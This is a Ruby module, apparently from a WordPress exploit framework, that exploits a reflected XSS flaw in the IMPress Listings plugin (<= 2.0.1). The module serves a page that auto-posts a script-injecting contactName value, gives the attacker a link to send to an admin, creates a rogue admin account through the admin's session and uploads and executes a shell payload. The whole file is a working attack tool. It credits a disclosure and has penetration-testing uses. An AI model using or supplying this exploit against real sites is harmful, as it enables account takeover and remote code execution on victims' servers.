# frozen_string_literal: true

class Wpxf::Exploit::ImpressListingsReflectedXssShellUpload < Wpxf::Module
  include Wpxf
  include Wpxf::WordPress::Xss

  def initialize
    super

    update_info(
      name: 'IMPress Listings <= 2.0.1 Reflected XSS Shell Upload',
      desc: 'This module prepares a payload and link that can be sent to an '\
            'admin user which when visited with a valid session will create '\
            'a new admin user which will be used to upload and execute the '\
            'selected payload in the context of the web server.',
      author: [
        'Kris <https://twitter.com/@CTFKris>', # Discovery and disclosure
        'rastating'                            # WPXF module
      ],
      references: [
        ['WPVDB', '8370'],
        ['URL', 'https://github.com/agentevolution/wp-listings/pull/52']
      ],
      date: 'Jan 27 2016'
    )

    register_options([
      StringOption.new(
        name: 'initial_req_path',
        desc: 'The path to be used to identify the initial request',
        required: true,
        default: Utility::Text.rand_alpha(rand(5..10))
      ),
      StringOption.new(
        name: 'listing_url',
        desc: 'The URL of a valid listing generated by the plugin',
        required: true
      ),
    ])
  end

  def check
    check_plugin_version_from_readme('wp-listings', '2.0.2')
  end

  def initial_req_path
    normalized_option_value('initial_req_path')
  end

  def initial_url
    normalize_uri(xss_url, initial_req_path)
  end

  def initial_script
    %Q|<html><head></head><body>
        <script>
          #{js_post}
          post('#{datastore['listing_url']}', {
            contactName: '"><script>#{xss_ascii_encoded_include_script}<\\/script><"'
          });
        </script>
      </body></html>
    |
  end

  def on_http_request(path, params, headers)
    if path.eql? normalize_uri(xss_path, initial_req_path)
      emit_info 'Initial request received...'
      return { type: 'text/html', body: initial_script }
    else
      super
    end
  end

  def run
    return false unless super

    @success = false
    emit_info 'Provide the URL below to the victim to begin the payload upload'
    puts
    puts initial_url
    puts

    start_http_server
    return @success
  end
end
